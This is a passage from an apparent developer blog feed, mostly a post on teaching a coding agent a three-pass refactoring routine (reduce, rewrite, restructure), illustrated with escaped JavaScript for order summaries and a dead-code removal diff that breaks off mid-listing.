&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;✅ This works!&lt;/p&gt;
&lt;p&gt;As we are using the builtin source, my &lt;code&gt;FAHRENHEIT_OFFSET&lt;/code&gt; is still available.&lt;/p&gt;
&lt;h2&gt;What it costs&lt;/h2&gt;
&lt;p&gt;Surely, re-mocking everything between &lt;strong&gt;every single command&lt;/strong&gt; adds some
overhead. From my calculation, it only added ~4% to the total time of the test
file, something I ca definitely live with.&lt;/p&gt;
&lt;h2&gt;Where I ended up&lt;/h2&gt;
&lt;p&gt;At the end of the day, I managed to test my function, mock the underlying heavy
calls and keep my code clean. There might be an even better solution, but I
haven&#39;t found it yet.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>How I taught my agent to refactor its own code</title>
    <link href="https://blog.pixelastic.com/2026/10/27/how-i-taught-my-agent-to-refactor-its-own-code/"/>
    <updated>2026-10-27T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2026/10/27/how-i-taught-my-agent-to-refactor-its-own-code</id>
    <content type="html">&lt;p&gt;Most of my code is now written by my agents, one issue at a time. Each issue is
carefully planned, tested, linted, reviewed and committed. I&#39;m happy with the
code quality of each issue taken individually, but if I string all the issues
together, I still sometimes end up with some code duplication and useless
indirection.&lt;/p&gt;
&lt;p&gt;I also tend to review the whole plan implementation at the end, rather than
after each issue. This gives me the big picture and is where I do the heaviest
refactorings.&lt;/p&gt;
&lt;h2&gt;I mix everything&lt;/h2&gt;
&lt;p&gt;But even before agents were a thing, my approach to refactoring was very
organic. I know the theory about not refactoring everything at once. Starting
small. Committing often. Not changing implementation and tests at the same time.&lt;/p&gt;
&lt;p&gt;But in practice, it&#39;s very hard for me to not fix something I saw as obviously
wrong. It&#39;s very hard to only fix the small typo when there was a blatant code
duplication next to it. I end up removing old code, updating documentation,
changing function signatures and renaming variables all in the same pass.&lt;/p&gt;
&lt;p&gt;Agents, on the other hand are pretty good at following a clear set of steps. So
maybe I could teach my agent the rigorous refactoring hygiene I never managed to
teach myself. That&#39;s why one day I started writing down, as a &lt;code&gt;skill&lt;/code&gt;, what good
refactoring looks like to me.&lt;/p&gt;
&lt;p&gt;I split it in three layers: reduce, rewrite and restructure. You start small,
and increase complexity and impact as I proceed. Each pass is meant to make the
next pass easier.&lt;/p&gt;
&lt;h2&gt;The example&lt;/h2&gt;
&lt;p&gt;Here is an example to show what I mean.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; fs&lt;/span&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt; from&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;node:fs&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;formatDate&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;./dates.js&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;fetchOrder&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;fetchCustomer&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;./api.js&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; legacyFormat&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;:&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;total&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; buildSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    id: &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    customer: &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    price: &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;totalWithTax&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    date: &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;formatDate&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;createdAt&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; async&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; getOrderSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;orderId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; order&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; fetchOrder&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;orderId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; cust&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; fetchCustomer&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customerId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // console.log(&#39;order&#39;, order);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  let&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; name&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;cust&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;cust&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;      name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; cust&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    } &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;      name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; cust&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;email&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  } &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;Unknown&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; data&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; buildSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; data&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; async&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; getInvoiceSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;orderId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; order&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; fetchOrder&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;orderId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; cust&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; await&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; fetchCustomer&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;customerId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  let&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;Unknown&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;cust&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; cust&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ||&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; cust&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;email&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; buildSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Reduce&lt;/h2&gt;
&lt;p&gt;The goal of the first pass is to reduce the size of the code by removing all the
noise. Commented code, unused imports or orphaned functions are dead code that
has no impact on the behavior and only makes understanding the code harder.&lt;/p&gt;
&lt;p&gt;It has always been true for humans, and it&#39;s still true for agents. If I don&#39;t
need it, I remove it. Less code means less bugs.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi has-diff&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; fs&lt;/span&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt; from&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;node:fs&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;formatDate&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;./dates.js&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;fetchOrder&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;fetchCustomer&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;./api.js&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; legacyFormat&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; { &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;:&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;total&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line diff remove&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; buildSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    id: &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    customer: &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    price: &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;totalWithTax&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    date: &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;formatDate&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;createdAt&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; async&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; getOrderSummary&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;orderId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
